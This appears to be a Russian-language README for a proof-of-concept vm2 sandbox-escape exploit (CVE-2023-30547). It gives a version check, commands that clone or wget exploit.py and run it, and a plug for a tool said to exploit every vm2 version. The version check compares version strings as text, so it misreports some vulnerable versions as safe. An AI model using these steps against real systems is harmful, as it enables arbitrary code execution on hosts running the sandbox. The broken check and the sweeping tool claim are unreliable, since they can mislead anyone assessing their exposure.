
PoC-эксплойт для уязвимости обхода песочницы VM2
PoC-эксплойт для уязвимости выхода из песочницы VM2
alt img
vm2 < 3.9.17 уязвим к выполнению произвольного кода из-за ошибки в санитизации исключений. Злоумышленники могут воспользоваться этой уязвимостью, вызвав несанитизированное исключение хоста в handleException(), что позволяет выйти из песочницы и выполнить произвольный код в контексте хоста.
⚠️ Рассмотрите возможность использования инструмента "VM2-Exploit", который можно использовать для эксплуатации всех версий VM2, и он прост в использовании.
Выполните это в песочнице, чтобы определить, уязвима ли цель.
const version = require("vm2/package.json").version;
if (version < "3.9.17") {
console.log("vulnerable!");
} else {
console.log("not vulnerable");
}
git clone https://github.com/rvizx/CVE-2023-30547
cd CVE-2023-30547
python3 exploit.py
или
wget https://raw.githubusercontent.com/rvizx/CVE-2023-30547/main/exploit.py
python3 exploit.py
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
Xion (SeungHyun Lee) из KAIST Hacking Lab